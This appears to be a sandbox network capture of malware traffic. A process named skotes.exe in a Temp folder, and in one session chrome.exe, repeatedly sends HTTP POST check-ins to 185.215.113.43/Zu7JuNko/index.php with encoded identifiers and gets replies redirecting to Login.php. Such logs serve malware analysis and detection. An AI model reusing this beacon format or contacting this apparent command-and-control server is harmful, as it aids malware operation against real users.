Nov 19, 2024 01:04:58.097930908 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:04:59.006432056 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:04:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	64252	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:00.632030010 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:05:01.543200016 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	64253	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:03.193341970 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:05:04.094186068 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	64254	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:05.728832006 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:05:06.631095886 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	64255	185.215.113.43	80	2328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:08.149877071 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:05:09.047358990 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	64256	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:10.677938938 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:05:11.577198029 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	64257	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:13.112869024 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:05:14.025588036 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	64258	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:15.650753975 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:05:16.564733028 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	64259	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:18.085166931 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:05:18.984440088 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	64260	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:20.622133970 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:05:21.529742002 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	64261	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:23.078161001 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:05:23.987692118 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	64262	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:25.634778976 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:05:26.536230087 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	64263	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:28.048274994 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:05:28.967750072 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	64264	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:30.607537985 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:05:31.508865118 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	64265	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:33.037328959 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:05:33.947262049 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	64266	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:35.585019112 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:05:36.493752956 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	64267	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:38.014204025 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:05:39.074660063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	64268	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:40.706166029 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:05:41.604340076 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	64270	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:43.125871897 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:05:44.043720007 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	64272	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:45.679495096 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:05:46.590900898 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	64273	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:48.114778042 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:05:49.029376030 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	64274	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:50.651536942 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:05:51.569614887 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:05:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	64275	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:53.086261034 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	64276	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:05:54.738632917 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
